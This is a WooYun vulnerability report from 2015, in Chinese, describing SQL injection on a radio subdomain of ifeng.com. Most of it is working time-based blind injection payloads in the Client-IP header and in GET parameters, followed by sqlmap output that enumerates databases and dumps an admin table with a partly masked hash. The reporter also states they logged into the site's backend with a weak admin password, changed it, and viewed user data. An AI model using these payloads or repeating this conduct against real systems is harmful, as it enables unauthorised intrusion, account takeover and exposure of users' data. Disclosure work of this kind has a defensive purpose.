当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091828

漏洞标题:凤凰网某站SQL注射影响大量数据库已进后台

相关厂商:凤凰网

漏洞作者: 紫霞仙子

提交时间:2015-01-14 15:26

修复时间:2015-02-28 15:28

公开时间:2015-02-28 15:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-14: 细节已通知厂商并且等待厂商处理中
2015-01-14: 厂商已经确认,细节仅向厂商公开
2015-01-24: 细节向核心白帽子及相关领域专家公开
2015-02-03: 细节向普通白帽子公开
2015-02-13: 细节向实习白帽子公开
2015-02-28: 细节向公众公开

简要描述:

233

详细说明:

两处,3个参数存在注射。
第一个是个比较隐蔽的SQL注入点,不容易发现。
1,http://diantai.ifeng.com:80/index.php/stat/viewStat
通过分析包,发现Client-IP: 存在问题
GET /index.php/stat/clickStat HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Client-IP: if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/
X-Requested-With: XMLHttpRequest
Referer: http://diantai.ifeng.com/
Cookie: userkey=426cb52b994f51bae72b76a7277aa8e4; PHPSESSID=8f8hji6daju4vldibgjih4hqi5
Host: diantai.ifeng.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
通过响应时间来判断注入点存在:
Client-IP:=if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/ 返回时间 10.292 s
Client-IP:=if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/ 返回时间 6.256 s
Client-IP:=if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ 返回时间 0.234 s
2,http://diantai.ifeng.com//pp.php?aid=562137&p=1-5886-562137&pf=webfm&s=1&t=p&v=1.0

漏洞证明:

---
Parameter: Client-IP #2* ((custom) HEADER)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: if(now()=sysdate(),sleep(0),0)/'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"'||(SELECT 'pVNX' FROM DUAL WHERE 9170=9170 AND SLEEP(5))||'/
Parameter: Client-IP #1* ((custom) HEADER)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: if(now()=sysdate(),sleep(0),0)/'||(SELECT 'ODiq' FROM DUAL WHERE 4655=4655 AND SLEEP(5))||''XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"/
---
---
Parameter: s (GET)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: aid=562137&p=1-5886-562137&pf=webfm&s=1' AND SLEEP(5) AND 'avie'='avie&t=p&v=1.0
---
back-end DBMS: MySQL 5.0.11
sqlmap identified the following injection points with a total of 121 HTTP(s) requests:
---
Parameter: v (GET)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: aid=562137&p=1-5886-562137&pf=webfm&s=1&t=p&v=1.0' AND SLEEP(5) AND 'qhrH'='qhrH
---
back-end DBMS: MySQL 5.0.11
available databases [7]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sst
[*] sst_stat
[*] sst_stat2014
[*] test
Database: sst_stat
[100 tables]
+--------------------+
| sst_stat_05\x05 |
| sst_api_stat_00 |
| sst_clickstat_1411 |
| sst_clickstat_1412 |
| sst_stat_00 |
| sst_stat_01 |
| sst_stat_02 |
| sst_stat_03 |
| sst_stat_04 |
| sst_stat_06 |
| sst_stat_07 |
| sst_stat_08 |
| sst_stat_09 |
| sst_stat_10 |
| sst_stat_11 |
| sst_stat_12 |
| sst_stat_14 |
| sst_stat_15 |
| sst_stat_16 |
| sst_stat_17 |
| sst_stat_18 |
| sst_stat_19 |
| sst_stat_20 |
| sst_stat_21 |
| sst_stat_22 |
| sst_stat_23 |
| sst_stat_24 |
| sst_stat_25 |
| sst_stat_26 |
| sst_stat_27 |
| sst_stat_28 |
| sst_stat_29 |
贴出部分数据库
找到管理员表:
Database: sst
Table: sst_admin
[2 entries]
+--------+---------+-----------+---------+----------+----------------------------------+------------+------------+---------------+
| userid | groupid | publishid | percent | username | password | created_at | pwdexpires | lastlogintime |
+--------+---------+-----------+---------+----------+----------------------------------+------------+------------+---------------+
| 1 | 3 | | 1 | admin | f541558155e2a****888d19aa8 | 1335580011 | 2015-12-30 | 1413181850 |
这里只贴出一个管理员信息。
高权限的密码还没破出来,猜解了3天才40%,但是其他管理的账号就。。。。。
弱口令,admin888 因为强制修改密码后才能登陆后台,所以我把密码改成了Admin888
直接进后台:
接近 17万 用户,增长速度看起来也不错。

f20150114143215.png


f20150114143132.jpg

修复方案:

其实我也听电台的。有什么问题可以私信我!
求20rank !!!

版权声明:转载请注明来源 紫霞仙子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-01-14 17:39

厂商回复:

非常感谢,我们正在处理中。

最新状态:

暂无